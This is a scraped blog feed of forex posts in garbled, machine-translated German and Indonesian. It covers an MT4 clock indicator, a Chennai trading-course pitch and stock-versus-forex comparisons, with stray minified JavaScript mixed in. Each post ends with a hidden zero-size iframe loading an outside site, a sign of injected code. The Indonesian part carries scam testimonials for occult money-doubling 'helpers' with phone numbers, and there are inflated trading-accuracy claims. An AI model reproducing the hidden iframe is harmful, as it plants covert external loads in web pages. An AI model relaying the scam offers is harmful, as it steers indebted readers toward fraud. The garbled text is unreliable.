ich etwas falsch auf die Uhr angeschlossen. Dank Kent, schätze ich gut Ihre Bemühung. PS: Ich füge es bis Auckland, Jakarta als editierbare lokale Basis, Moskau, Berlin, Seatle, so dass jeder hier kann es nutzen. Traurig verbrachten Sie Zeit, diese alte Version zu verstehen. Ich war auch verwirrt über die alten STDST-Code (die ich nicht geschrieben habe), aber ich grub in sie und wenn ich verstanden, dass es nicht richtig funktionieren aus verschiedenen Welt-Zeitzonen noch konnte es mit verschiedenen STDST Umstellung Termine, ersetzte ich es vollständig. Ich machte es Ihnen leicht, nicht durch die neue Version gehen und fügen Sie alle diese neuen Märkte wieder. Eine neue quotP4L Clock. mq4quot v23 ist jetzt in Post 1 verfügbar. Ich habe Marktzonen für Auckland, Moskau, Berlin und Seattle. Ich habe auch überarbeitet und die Standard-topOffsetPixels auf 10 (Es sieht immer noch das gleiche). P. S. Diese Version v23 sollte korrekte Weltzeiten anzeigen, unabhängig davon, ob Sie es aus Jakarta, Tokio, Sydney, Europa und den USA fast überall laufen lassen. (Selbst die 30-Minuten-Offsetzeitzonen wie Caracus funktionieren, wenn Sie BrokerMMSSIsGoldStandard falsch einstellen Wahr oder falsch nach Ihrer Präferenz). Hallo Kent (P4L), Ive einen Blick an Ihrem spätesten P4LClock, es schaut gut, aber ich dachte, dass es so kompliziert gerade für das Zeigen Weltstadtzeit war, ist es nicht es Gibt es irgendeine andere Weise, sie kurz und einfacher zu bilden, also nimmt sie nicht Zu lange und kleinere Dateigröße Sorry, Im nicht fähig ini Programmierung, aber nur mein Gefühl sagt, dass. Geben Sie niemals auf, Kent. Aus Wikipedia, sagt Occams razor: "Alle anderen Dinge gleich, die einfachste Lösung ist die best. quot Addendum. Aber nicht einfacher als notwendig, um eine echte Lösung zu beschreiben. Froh, dass Sie wie das Tool, aber soweit ich weiß, gibt es kein Problem mit der Leistung und Dateigröße sollte nicht wichtig, solange es den Job ohne eine Strafe, rechts getan wird Das quotP4L Clock. mq4quot-Programm ist keineswegs das einfachste möglich Aber im Gegensatz zu seiner Vorgängerversion und den wenigen anderen Uhrwerkzeugen, die Ive angeschaut hat, zeigt es zumindest - afaik - die richtige Weltzeit ganzjährig für jede Marktzone, unabhängig von Ihrer eigenen Zeitzonenzone. Die meisten anderen Taktgeberprogramme zeigen nicht die korrekte Zeit für jeden Markt, von jeder Zeitzone youre innen an. Einige Extrakomplexität ist nur für die wahlweise freigestellte Anzeige von einigen Sachen, wie mögen Sie Sekunden oder nicht (persönlich, nein). Wollen Sie 24-Stunden-Format oder AMPM (Für mich, 24 Stunden). Und wünschen Sie 8 Marktzeitzonen (ich bevorzuge gerade Sydney, Tokyo, London und NewYork). Alle anderen sind nur Lärm für mich. So gibt es Optionen, die jeder Benutzer festlegen kann, um die verschiedenen Marktzonen anzuzeigen oder nicht anzuzeigen, und ob es sich um secondseconds oder 24-Stunden-Format handelt oder nicht. Ich denke, das Dienstprogramm ist stark verbessert durch die Änderung der Farbe, wenn der Markt geöffnet ist, aber diese Funktion ist, wohl, quotextraquot. Es gibt einen kleinen Extracode, zum von quotBrokerMMSSIsGoldStandardquot zu wählen, und etwas Komplexität wurde hinzugefügt, um wahlweise führendes quot00 zu zeigen: das, welches für mich, doesnt Angelegenheit, wenn es tut oder tut. Ich gebe zu, dass Code über das was minimal notwendig war, aber es dauert sehr wenig zusätzliche CPU, um es zu tun. Das Programm wäre viel einfacher Code, wenn Windows bessere Funktionen, um die aktuelle Zeit in einer anderen Zeitzone abfragen, aber es doesnt. Seine nur wirklich gut für die Anzeige, was ist Ihre eigene lokale Zeitzone, pro eigenen STDST Umstellung Termine. Ich erkannte, dass, um das Problem zu lösen, müsste ich hinzufügen, einige unerwünschte aber notwendige Komplexität, um die Zeiten für jede der unabhängigen Markt Zeitzonen aus jedem lokalen Zeitzone und das ist, was ich tat. Das Speichern aller, die Informationen in meinem Programm nahm eine Reihe von Zeilen, aber es läuft nur einmal und ist nicht grundsätzlich kompliziert. Dieser Code kann nicht einfacher sein als er (AFAIK), bis Windows bessere Zeitfunktionen bietet. Ich bin kein Coding-Experte, aber ich habe alles, was ich konnte in die init () - Prozedur, die nur einmal läuft. Im Hauptstart () Abschnitt, I dont erlauben es, mehr als einmal pro Sekunde laufen. (Vorherige Versionen liefen jeden einzelnen Tick, auch wenn Sie 10 Ticks in einer einzigen Sekunde hatte. Das, IMO, war sehr verschwenderisch von CPU, während meines nicht). Bottom line, während der Code komplexer als minimal notwendig sein kann, sollte es immer noch ziemlich effizient, und jeder Benutzer kann ihre persönlichen Einstellungen in der externen Variablen Abschnitt festgelegt. Ich weiß von keiner messbaren Auswirkung auf CPU-Leistung, die dieses Indikator laufen lassen würde. Ich denke, es ist vernachlässigbar. Dies war nur ein Nebenprojekt in Codierung für mich und ich habe nicht viel Interesse daran ändern, nur um es zu vereinfachen oder machen es kleiner, wenn es einen Zweck für solche Änderungen gab. Ich weiß bereits in meinem Kopf den ganzen Markt mal nach meiner eigenen lokalen Uhr, so dass ich nicht wirklich brauchen diese Uhr selbst obwohl seine schöne nicht zu tun haben, die mentalen Berechnungen. Wenn es einen Bug in meinem Code, wo es die falsche Antwort gibt, Ill denken, aber auch das ist keine hohe Priorität für mich. Bisher hat niemand irgendwelche Probleme mit der neueren Version (s) gemeldet, so dass die Dinge jetzt stabil aussehen. Gut sehen, sobald die verschiedenen Weltzonen beginnen, STDST ziemlich bald zu ändern. Wenn Sie dont mind meine fragen, was sind die lokalen Marktstunden für Auckland, Neuseeland Ist es 8A-5P oder später als das Da Auckland 3 Stunden vor Sydney Zeit ist, Im wollen wissen, was ist die früheste praktische Markt Zeit, wenn die Woche beginnt . Mein eigener Vermittler öffnet nicht bis Sydney 7AM Montag (5PM Sonntag in NewYork, 10am Auckland). Ich frage mich nur, wie viele Stunden andere von der Zeit gehandelt haben, zu der mein Makler beginnt, als Theres oft eine große Lücke offen für mich. Ich bin nicht 100 sicher auf die Stunden für NZ. Ich denke, es kann ein 10 Uhr Start NZ Zeit (GMT12 Ich denke, ist NZ lokale Zeit - fügen Sie 1 Stunde für DST). Hat eine schnelle Suche auf Google und konnte nicht die genauen Zeiten finden.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-46599627209056949902017-08-11T23:38:00.000-07:002017-08-11T23:38:08.600-07:00Forex Trading Ausbildung In Tamilnadu<p>Hallo Forex Anfänger Ich empfehle Ihnen dringend, diese Seite zu lesen, bevor Sie an einer beliebigen Forex-Klasse teilnehmen. Im S. Arvind - Technischer Verstärker Grundlegende Vollzeit Forex Trader mit 4,5 Jahren Erfahrung aus Indien - Chennai, Im der Gründer von Forexnext, Sunpips Seine eine sehr wichtige Nachricht Für alle Forex Anfänger: Bevor Sie an einem Forex-Kurs teilnehmen, lesen Sie bitte diese. SCHRITT 1. Nur eine erfahrene Person wäre in der Lage, Sie perfekt zu lehren. Jetzt ein Tag, viele Menschen, die Forex Trading Training, aber sie verdienen durch Lehren oder Verkaufen nutzlose Indikatoren Auto-Roboter aber nicht durch den Handel, wie sie selbst abstürzen dort Konto drastisch. Also immer vorsichtig sein, von solchen Betrug Forex Trainer. SCHRITT 2. Bitte fragen Sie dort Live Aussagen und Widerrufsnachweise (Beispiel Beweis 1 Beweis 2), bevor Sie sich der Klasse anschließen. Nehmen Sie keine Handelsaussagen in E-Mail, sie zeigen Ihnen DEMO Kontoauszug amp Narr Sie. S o Besuch dort direkt und bitten sie, dort zu zeigen Plattform. Dies ist, wie man ein DEMO amp REAL ACCOUNT 4. Nicht amp verwenden Indikatoren Auto-Robots, wenn alle diese Indikatoren Amp-Roboter gearbeitet, warum dann 95 von Menschen abstürzen ihre Konten wissen Sie, 95 von unschuldigen Händler verlieren Geld mit Indikatoren Verstärker Auto Roboter. Viele Forex Coaching Zentren lehren Indikatoren Amp-Auto-Roboter. Wenn alle diese Indikatoren Amp-Roboter arbeitete, dann warum 95 von Leuten, die ihre Konten abstürzen, lehre ich Ihnen ein anständiges Leben im Forex Trading mit 90 Genauigkeitsmethode ohne Indicators amp Auto Robots zu verdienen. Immer im Auge behalten, Professionelle Forex Händler NIEMALS INDIKATOREN AUTO ROBOTER. Benutzen Sie keine Roboter. Kein MACD. Kein Stochastischer Oszillator. Kein RSI. Kein Alligator. Keine benutzerdefinierten Anzeigen. All diese überteuerten Indikatoren bieten absolut keine Einsicht in den Markt. Indikatoren sind verzögerte Ereignisse. Was bedeutet, dass sie einfach da sind, um Ihnen Informationen über ein Ereignis, das bereits stattgefunden hat, anstatt Echtzeit-Ereignisse. Indikatoren nicht wissen, was geschieht auf dem Markt und was wird nach 5 Minuten geschehen. Um Forex Trading auf professionelle Weise zu lernen, klicken Sie hier. 100 Zufriedenheit garantiert. Fühlen Sie sich frei, mich mit Ihren Fragen und Anmerkungen zu mailen. Meine persönliche E - Mail - Adresse ist suninsidegmail Ich hoffe, von Ihnen zu hören 91 - 44 - 22241214 9841234504 9941270313 9841204886 979199994 Technischer Amp Fundamental Forex Trader Gründer, Forexnext, Sunpipes, Suninside Einleitung Broker (Al) Alpari UK Forex Bildung und Handel Berater Kontakt Adresse. T-2 Navins Baghya Nivas, A20, 100 Feet Road, Hindukolonie, Nanganallur, Chennai - 600061 Wahrzeichen. In der Nähe von Vetrivel Theater (oder) Pankajam Hospital Bus Route (Chennai). M18C, N45B, M52P, M52L, M52K) var Ea (.cameraCont, f) var Ffor (F0F div: eq (F), j) k. find (.cameraSlideF).clone (G) a (Fenster).bind ( Last resize pageshow, function ()) E. append () var Tvar Ub. barDirectionvar Vfa (iframe, g).each (function () div) a (.cameratargetcontent. cameraContent: eq (d), f).append (b )) Funktion W ():) k. html (f) h (searchnya ol).mCustomScrollbar () else k. html (a. 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(Click, function ()), ein (searchnya).on (Klick, Funktion (a)) ): a (searchnya).show () Funktion f () ba (topmobilenav).hasClass (aktiv) a (Symbol-socialmn) CSS - (Display, keine) a (mobilenav).click (function ()) a (topmobilenav (Fenster).resize (c) a (Fenster).resize (d) a (.sf-menu ul).each (Funktion ()) c () d () sf-Menü i).click (function ()) var g window. location. hrefa (menunav a, topmenunav a).each (function ()) ein (Fenster).scroll (function () for (var g0g. inArray ( A, k) f. push (a)) - 1a. indexOf (Suchlabel) (n-1a. indexOf (aktualisiert-max) astring (a. indexOf (Suchlabel) 14, a. indexOf (aktualisiert-max) : -1a. indexOf (max) a. substring (a. indexOf (searchlabel) 14, a. indexOf (max)):. a. substr (a. lastIndexOf ()), pn. replace (,) ersetzen (20, )) für (aktivieren C0C))) i (s :)) g, lh3.googleusercontent-duNoMAb1RS4T2WEWrOfR8IAAAAAAAACZ0ObgHf-PmTuEs3603.gif, :))) i (s ((g, lh6.googleusercontent-LIr-ZdDp2xIT2WEYDacVnIAAAAAAAACaYW7MF5qKO2sEs4706.gif, (() i (s:) g, lh6.googleusercontent-Q5lMkgcmVR4T2WEWkNi3MIAAAAAAAACZ47VBYeVbx7kAs3601.gif, :)) i (s :-) g, lh3.googleusercontent-mCsZPeixHvAT2WEWivv9FIAAAAAAAACZw64ZGRgdlDegs3602.gif, :-)) i (n)) g, lh5.googleusercontent-usc3DgZ2cT2d0lDLueIAAAAAAAACkwYbeuRNde61Qs3603a. gif,. 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Equity Future, Forex oder Währung zu kaufen oder zu verkaufen. Alle Informationen sind streng pädagogischen und Meinung. Tradingwithtamil bietet keine Finanz-, Rechts-oder Handelsberatung und ist nicht der Kauf oder Verkauf von Commodity, Equity oder Währung. Der Nutzer erkennt an, dass Tradingwithtamil in keiner Weise für die Investitions - und Handels - und Rechtsentscheidungen seiner Nutzer verantwortlich ist. Der Nutzer erkennt an und akzeptiert, dass Tradingwithtamil keine Verantwortung für ungenaue, fehlerhafte oder nicht verfügbare Daten übernimmt. Der Benutzer wird ermutigt, seine eigene Due Diligence durchzuführen. Alle Tipps oder Handels-Setups sind einfach Tradingwithtamil Meinung und soll Informationen über die Commodity, Equity, Forex oder Devisenmärkte weitergeben und stellen keine Finanz-oder Handelsberatung. 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Vielen Dank an alle wunderbaren Menschen, die Forex studieren, ist die quotForexnext amp Diyaforexquot Website ein riesiger Erfolg geworden. Ich habe diese Website zusammen, um zu versuchen und helfen aufstrebende Händler lernen, die Wahrheit über die Forex und versuchen, sie davon abzuhalten, von irreführenden Marketing genutzt werden, wie Handel kann Ihnen Reichtum ohne viel Aufwand bringen. Wo es Geld gibt, gibt es oft einen Weg, um diejenigen, die nicht vorsichtig mit ihnen zu fangen. Forex ist ein perfekter Ort für Betrüger, ihre Fähigkeiten und Phantasie in der Einstellung Fallen für Händler aller Altersgruppen und Nationen zu testen. Forex-Handel selbst ist kein einfaches Abenteuer und erfordert viel Studium, Forschung und Praxis. Nicht viele sind in der Lage, die Durchführung der pädagogischen Teil des Werdens ein Forex Trader von Anfang bis Ende, viele nicht in einem Versuch, eine Verknüpfung zu leichten Gewinn zu machen. Diese Händler werden Kunden von solchen Betrug-Systeme, sobald sie erkennen, dass schräge Profit in Forex nur auf eigene Kenntnisse verlassen. It39s eine sehr wichtige Botschaft für Forex Anfänger: Bevor Sie an einer Forex-Ausbildung teilnehmen, lesen Sie bitte diese. 1. Scam Forex Mentor. Nur ein erfahrener Mensch wäre in der Lage, perfekt zu lehren. Jetzt ein Tag, viele Menschen, die Ausbildung in Forex-Handel, aber sie verdienen durch den Unterricht nicht durch den Handel als sie selbst abstürzen dort Konto drastisch. Also immer vorsichtig sein, solche Betrüger Trainer. 2. Handelsnachweis. Bitte fragen Sie Ihre Tutor Aussagen und Entzug Beweise, bevor Sie die Klasse beitreten. Akzeptieren Sie keine Handelsaussagen in E-Mails, sie zeigen Ihnen einen DEMO-Kontoauszug. S o Besuchen Sie den Ort direkt und bitten sie, dort zu zeigen Plattform. 3. Lagging Indicators Verstärker Auto Roboter. Weißt du, 97 der unschuldigen Händler verlieren Geld mit Indicators amp Auto Robots. Viele Forex Coaching Zentren lehren Indikatoren Amp Auto Roboter (Expert Advisor). Wenn alle diese Indikatoren Amp-Roboter arbeitete, warum 97 von Menschen stürzen ihre Konten. Immer im Auge behalten, Professionelle Forex Händler NIEMALS INDIKATOREN AUTO ROBOTER. 4. Wichtigste Forex Broker. Für den Handel mit Forex müssen wir einen guten Forex Broker finden. Denken Sie jeden Forex-Broker ist ehrlich, gut und wird Ihnen helfen, Geld zu verdienen Think again. Forex Broker sind in dieser Branche nicht, weil sie Ihnen helfen, reich zu werden wollen, sind sie hier, um reich zu sein. Vergessen Sie es nicht. Es ist das wahre Gesicht der Retail-Forex-Industrie. Im gehend, Ihnen zu helfen, ein gebildeter Spieler in einem wirklich Makler Spiel zu sein, und die Fallstricke hoffnungsvoll sehen, bevor Sie in sie fallen und Ihre Taschen voll von keinem, nicht Geld, in diesem Fall aber voll des Schmutzes erhalten. Schließlich möchte ich nur Hoffnung geben, um alle von Ihnen, die noch nicht erfolgreich im Forex-Markt. Vermeiden Sie die Guru-Wölfe um jeden Preis. Es gibt viele von ihnen da draußen und sie sind in sheeps Kleidung. Ich bin nicht einer von ihnen. Ich bin einer von euch. Wichtig. Watch This Shocking Video über Deal Desk Brokers Dont auf den Handel. Es wird Ihr Leben verändern. Fühlen Sie sich frei, mit mir jederzeit mit irgendwelchen Fragen oder Anmerkungen in Verbindung zu treten. Viel Glück für Sie Jetzt kennen Sie die Wahrheit über Forex. Ich fordere jeden Forex-Broker heraus, um zu beweisen, dass ich falsch liege. S. Arvind Gründer, Forexnext, Sunpips, Suninside, Diyaforex Forex Signal Provider und professionelles Trading Advisory Berater Forex Markt Analysist, Technische amp Fundamental Forex Trader</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-49613352410765608422017-08-11T11:43:00.000-07:002017-08-11T11:43:07.334-07:00Forex Atau Saham<p>Langsung aja ya. Lebih mudah maen saham atau forex kebetulan modal saya juga mepet (50-100jt). Kemaren sempet di tawarin maen emas dematif tpi setelah sagena pelajari butuh modalen kuat apalagi kalo kena resumu kudu buruquot tambah dana. trus klo buat pemula caranya gimana minta Tipps dan sarannya donk .. makasih Yaa Antwort Untuk pemula menurutku Lebih baik saham, resiko Lebih kecil, Modal 50 bis 100 jt sudah jelas bisa. Sebelum terjun jajaki dulu caranya, belajar dulu baik Teknikal analisis maupun grundlegende analisis (banyak kok kursusnya), baru terjun kalau tidak bisa babak Belur. Kalau sudah belajar, caranya buka konto di salah satu perusahaan securitas, setor uang langsung bisa kaufen pakai online juga bisa. Semoga membantu. INFO Kerja Online Kopieren Einfügen CARA TERCEPAT, TERBAIK, DAN TERPERCAYA MENGHASILKAN Rp. 1.500.000 DALAM Waktu SINGKAT DAN PASTI Apakah saat ini undeinem Sedang mengikuti Bisnis investasi, MLM, Wiederverkäufer, Yang bonusnya puluhan juta, ratusan juta, atau bahkan milyaran Rupiah namun hasilnya belum tentu Pasti undeinem dapatkan dan Perlu membutuhkan Waktu berbulan - bulan bahkan tahunan untuk Mengembangkan jaringan agar mendapatkan Prämie STOPPEN Sie. Itu sangat memberatkan und ein semua itu hanya menguntungkan admin dan leadernya saja. Silakan Baca sampai selesai Yang Ingin Kari Penghasilan tambahan di Internet. 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Nö, barangkali sering kita bertanya - tanya dalam diri kita, mana Yang Lebih menguntungkan investasi di saham atau Forex Menurut pemikiran Saya, Handel di Forex Lebih menguntungkan daripada di saham. Kalau kita membeli Sebuah Saham Perusahaan, Yang Kita Harapkan Adalah Kenaikan Harga Perusahaan Tersebut Di Masa Mendatang. Bagaimana kalau harga saham tersebut menurun Apakah kita bis zum mendapatkan keuntunganTentu tidak, yang kita dapatkan hanyalah kerugian. Beda dengan Forex, kita bisa mengambil keuntungan von 2 arah, apakah mau beli atau jual kaufen. Contohnya, kalau kita ingin pasang posisi kaufen di Suatu mata uang dan Secara tiba2 pergerakan arah berbalik alias menurun, kita bisa langsung schneiden Verlust dan pasang posisi Yang searah yaitu jual dan kita bisa menutup kerugian tadi dan juga memperoleh keuntungan. Nö, Sekarang tinggal para Investor Yang mau memilih, apakah di dunia saham atau forex Yang Lattenzaun Penting disini adalah, mari kita tingkatkan Wawasan kita dalam berinvestasi dan Teknik - Teknik investasi Yang Benar dalam arti meminimalkan resiko yang akan terjadi. 6 Bemerkungen: Investasi saat ini khususnya di pasar modal memang sangat menggiurkan. Namun ada bisnis lainnya yang juga saat ini makin menggeliat. Forex merupakan perdagangan mata uang yang mulai menggelit yang tidak kalah dengan saham kaufen. Apalagi bisnis ini memiliki kemudahan daripada bisnis lainnya. Sexti modale yang kecil, likuiditas yang tinggi, dan sangat fleksibel karena kita bisa melakukannya di rumah. Di OctaFx. Kita bisa handel dengan 5 160 kalau sagena lebih tertarik untuk terjun menekuni handel forex ketimbang saham. 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Syukur alhamdulillah Kini Saya bisa menghirup udara segar di Indonesien karnah sudah sekian Lama Saya ingin Pulang ke kampung halaman namun tak bisa Sebab, Saya Harus bekerja di Negri orang (Arab Saudi) karna ada Hutang Yang Harus Saya bayar di majikan yaitu 257 juta untuk uang indo namun saya tidak Pusing lagi Sebab kemaring saya di berikan Info oleh seseorang yang tidak saya kenal, Katanya kalau mengalami kesulitan Ekonomi, Terlilit Hutang silahkan minta bantuan sama KI BARONG di Nomor telfon 0852 8895 8775 di Jamin bantuan beliau 100 8230 ATAU gtgtKLIK DISINIltlt BANTUAN DARI KI BARONG 1.PESUGIHAN 2.TOGEL 3. DANAH Ghaib 4.PENGGANDAAN uang 5.UANG BALIK 6.PEMIKAT 7.PENGLARIS Bisnis (Jualan, Tokoh, warung) 8.PERLANJAR DALAM BERBAGAI HAL Jadi saya beranikan diri menghubungi beliau dan menyampaikan semua masalah saya .......................................................... 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Aslamu alaikum wr wb..Allahu Akbar, Allahu akbar, Allahu akbar Bismillahirrahamaninrahim ,, senang sekali Saya bisa Menulis dan berbagi kepada teman2 melalui Raum ini, sebelumnya dulu Saya adalah seorang pengusaha dibidang Eigenschaft rumah Tangga dan mencapai kesuksesan Yang luar biasa, mobil rumah dan fasilitas gelegen sudah saya Miliki, namun namanya cobaan saya sangat percaya kepada semua orang, hingga suaatu saat saya ditipu dengan teman saya sendiri dan membawa semua yng saya punya, akhirnya saya menaggung utang ke pelanggan saya totalnya 470 juta dan di Bank totalnya 800 juta. Saya Stress dan bunuh diri anak Saya 2 orng masih sekolah di smp dan sma, istri Saya Pergi entah Kemana dan meninggalkan Saya dan anakanaknya ditengah tagihan utang yg menumpuk, demi makan sehari hari Saya terpaksa jual Nasi Bungkus Keliling dan kue, ditengah himpitan ekonomi seperti behindern ini saya bertemu dengan seorang teman dan bercerita kepadanya, Hamdala beliau memberikan Saran kepada saya, dulu Katanya dia juga seperti saya stelah bergabung dengan KI JAMBRONG hidupnya Kembali Sukses, awalnya saya Ragout dan tidak percaya tapi Selama satu Minggu saya berpikir dan Melihat langsung hasilnya, saya Akhirnya bergabung dan menghubungi KI JAMBRONG di Nr. 0853-1712-1219. Semua petunjuk AKI Saya Ikuti dan hanya 3 hari Astagfirullahallazim, Hamdala Demi allah dan anak Saya, akhirnya 5M Yang Saya minta Benar Benar ada di tangan Saya, semua utang Saya lunas dan sisanya buat modal Usaha, Kini Saya Kembali Sukses terimaksih KI JAMBRONG Saya tidak Akan Melupakan jasa AKI. JIKA-TEMAN-TEMAN-BERMINAT, YAKIN DAN PERCAYA INSYA-ALLAH, SAYA-SUDAH-BUKTIKAN-DEMI-ALLAH-SILAHKAN-NABE KI JAMBRONG DI 0853-1712-1219. (TANPA TUMBALAMAN). 160Perbedaan Forex Trading dan Saham Secara Sederhana, investasi terbagi Menjadi dua bentuk yaitu investasi dalam bentuk aset Yang sebenarnya (logam Mulia, Immobilien, benda seni, dan Lain-gelegen) dan investasi dalam bentuk Sekuritas atau surat-surat berharga. Sekuritas artinya suatu klaim terhadap realen Vermögenswerte yang dikuasai oleh suatu entitas seperti obligasi, saham, forex dan lain-lain. Di masa Sekarang, Semakin banyak pebisnis Yang terjun dalam bidang investasi den Handel mit Devisen dan saham karena mempunyai peluang keuntungan Yang menggiurkan walaupun tentunya disertai resiko Yang tinggi pula. Perdagangan mata uang, atau devisen, adalah jenis usaha lain yang cukup menggiurkan, dan memiliki peluang profitieren yang besar pula. Banyak investor berpendapan bahwa investasi forex lebih menguntungkan dibanding investasi saham. Namun sebenarnya, keduanya memiliki perbedaan mendasar. Handel Forex dan Saham: Pengenalan Sebelum Membranen beda Handel forex dan Saham. Berikut dibahas definisi kedua jenis investasi ini. Forex atau Devisen adalah kegiatan transaksi perdagangan atua pertukaran mata uang Suatu negara dengan mata uang negara gelegen Pada Suatu Schleimbeutel valas Lintas Nasional Yang berlangsung Secara Terus-menerus Selama 24 Marmelade. Seorang Händler dapat melakukan dua kegiatan pada proses transaksi yaitu pembelian (kaufen) pada mata uang bernilai terendah, dan penjualan (verkaufen) pada saat nilai mata uang tersebut naik. Dua kegiatan tersebut sama-sama bisa mendatangkan keuntungan bagi Händler. Sementara itu, saham adalah surat berharga Yang menunjukkan Bukti andil kepemilikan atau entitas Yang dikeluarkan oleh Perusahaan dan Badan Usaha Milik Negara Yang Telah Öffentlichkeit gehen. Perusahaan melakukan penjualan saham untuk memperoleh dana nicht-bank sebagai wechselkurs sumber dana untuk pembiayaan tanpa perlu dikembalikan. Keuntungan yang diperoleh oleh pemilik saham adalah dividen yang dibagikan oleh perusahaan sesuai dengan ketentuan yang disepakati sebelumnya. Perbedaan paling mendasar antara handeln forex dan sahnt terletak pada pelaku utama investasi. Seorang Trader Forex menentukan sendiri Zielgewinn Yang diinginkan dan berusaha sendiri untuk mencapainya melalui eksekusi atau perintah-perintah Yang Telah dipertimbangkan Secara Matang. Sebaliknya, keuntungan yang diperoleh seorang investor saham tergantung kepada perusahaan di mana ia menginvestasikan uangnya. Faktor Yang Membedakan Trading Forex als Saham Para Händler Melakukan Analisis Terhadap Kondisi Bursa Valuta Asing Sah Saham Untuk Melakukan Transaksi. Tujuan utama handels forex dan saham sebenarnya sama, yaitu mendapatkan keuntungan dari selisih pergerakan harga komoditasnya. Tetapi ada beberapa kelebihan forex dibanding saham yang menyebabkan beberapa investor lebih memilih investasi dalam bidang forex dibandingkan saham. Dapat dikatakan bahwa pasar uang merupakan pasar perdagangan yang paling likuid dengan perputaran rata-rata mencapai 5 trililun Dollar setiap harinya, sementara transaksi keuangan Pada Schleimbeutel efek Jakarta hanya mencapai 5 trilyun Rupiah pro harinya. Rata-rata Volumen harian Markt forex setara dengan 46 kali gabungan pasar saham di seluruh dunia. Tingginya tingkat likuiditas inilah yang menyebabkan Handel forex lebih diminati dibanding Handel saham. Perdagangan forex berlangsung sepanjang hari selama 24 jam dan 5 hari seminggu. Apabila pasar forex Asien berakhir, maka saat itu dibuka pasar Forex Eropa, dan Ketika pasar Forex Eropa Telah tutup, maka pasar forex Amerika dibuka, dan saat pasar forex Amerika Usai maka siklus Kembali ke pasar Asien. Dengan demikian Anda bisa melakukan Handel kapan pun dan dimana pun, apalagi Sekarang berbagai Suchwerk Gadget moderne dapat diinstal dengan Software aplikasi untuk Handel seperti Smartphone. Para trader pemula yang belum berani melepaskan pekerjaan utamanya di kantor, bisa memilih waktu handeln setelah jam kerjanya berakhir. Di sinilah beda handel forex dan saham berikutnya. Waktu untuk melakukan handeln saham lebih terbatas daripada handeln forex, karena Anda hanya dapat melakukan handeln saham pada jam kantor, yaitu sekitar marmelade 9.30 sampai jam 16.00 di luar jam istirahat. Peluang keuntungan dan resiko Pada Ulasan di atas, Telah dikatakan bahwa kegiatan transaksi kaufen atau sell dua-duanya dapat membawa keuntungan Pada den Handel mit Devisen. Jika Markt telah mencapai harga terendah, Händler dapat melakukan pembelian dan sebaliknya jika pasar telah mencapai nilai tertinggi atau titik jenuh, maka trader dapat melakukan penjualan. Pada Handel saham keuntungan hanya terjadi satu arah yaitu pada posisi kaufen. Yang artinya seorang Händler Saham Akan mendapatkan Gewinn jika saham yang dibelinya naik. Inilah beda handelnde forex dan Sahne. Karena mempunyai peluang mendapatkan keuntungan besar dalam waktu yang cepat, maka trading forex juga mempunyai resiko kerugian yang juga besar, sesuai dengan prinsip hohes risiko, hohe rückkehr. Oleh karena itu para trader forex harus menggunakan strategi handeln yang tepat dengan mempelajari kondisi pasar dans memprediksi kemungkinan yang akan terjadi sebagai dasar pengambilan keputusan. Pada umumnya Perusahaan Broker Forex tidak menetapkan komisi untuk transaksi Yang dilakukan Händler, atau mengambil komisi dengan nominal kecil Yang dilakukan oleh Broker-Broker ECN. Keuntungan Yang Didapatkan Oleh Perusahaan Broker Berasal Dari verbreitet. Yaitu selisih harga jual und beli yang berbeda-beda pada tiap mata uangnya. Beda Handel forex dan Saham adalah kewajiban Mitgliedsko komisi mulai 0,15 hingga 0,3 dari setiap transaksi Handel saham. Kecepatan eksekusi transaksi Pada den Handel mit Devisen, keputusan Anda untuk melakukan transaksi bisa dieksekusi seketika itu juga karena kondisi pasar dengan likuiditas Yang tinggi sehingga kegiatan kaufen dan verkaufen dapat berlangsung setiap Waktu. Jika Markt mengalami fluktuasi secara ekstrem, bisa saja transaksi Anda ditunda oleh Makler Anda. Hala ini tidak berlaku pada Handel saham, karena keputusan transaksi harus menunggu giliran dan tidak bisa dilakukan seketika. Komoditas yang diperdagangkan pada pasar üben adalah ratusan mata uang berbagai negara. Tetapi biasanya hanya empat mata uang penting yang nilainya stabiles saja yang diperdagangkan pada proses handeln yaitu Euro, Dollar Amerika, Poundsterling, dan Yen. Sedangkan Pada Handel saham di Schleimbeutel saham New York terdapat sekitar 4500 saham Perusahaan Yang terdaftar, sementara Pada Schleimbeutel NASDAQ terdapat sekitar 3500 saham. Tentu dibutuhkan banyak waktu untuk menganalisa Saham Mana Yang Akan Anda Pilih untuk diperdagangkan Yang mempunyai peluang naik. Hal ini tentu Membranhandel Saham Lebih rumit Daripada Handel forex bukan Trading Devisen Saham Juga Dibedakan Oleh Jangkauan Kedua Markt investasi tersebut. Pasar handel forex menjangkau pasar forex dunien dengan trader dari berbagai negara berikut mata uang berbagai negara. Tetapi Perdagangan Saham lokal Hanya Terjadi di tanah Luft saja, Misalnya pada bursa efek Jakarta. Ketidakstabilan y.................................................................... Dengan demikanischen para trader saham harus mengikuti berita ekonomi dengan seksama. Berdasarkan uraian di atas, dapat kita simpulkan bahwa beda handeln forex dan saham online memang cukup signifikan dan handeln forex mempunyai peluang untuk mendapatkan keuntungan semaksimal mungkin tetapi dengan disertai resiko besar pula. Sementara itu handel saham beresiko lebih kecil daripada handeln forex sehingga lebih cocok bagi investor yang tidak terlalu agresif dan lebih suka bermain aman maupun bagi investor pemula. Baca Artikel Terkait Perbedaan Handel Forex dan Saham Online-Klik icon-icon dibawah untuk Membagikan Tulisan ini HAFTUNGSAUSSCHLUSS. Segala Informiert von dibuat sebaik mungkin namun tidak menjamin 100 keakuratannya. AnalisaForex Tidak mengajak auf dem laufenden mengharuskan untuk bertrading forex. Forex, CFD, komoditas handeln adalah beresiko tinggi, segala keputusan dan kerugian adalah tanggung jawab Anda (pengunjungpembaca) sendiri. Tidak menjamin kualitas ataupun kredibilitas atas link ke luar (pihak ketiga) berupa iklan berbayar, broker überprüfen, robotEA, dsb. Artikeltulisan di web analisaforex, boleh dijadikan di Kopie Paste di Situs gelegen, namun berdasarkan etika Harus mencantumkan Link balik ke Situs analisaforex Baca Juga Artikel Terkait schließen Montag, 06062016 09.45 Dienstag, 03.052.016 07.17 PMTuesday, 26.042.016 06.55</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" 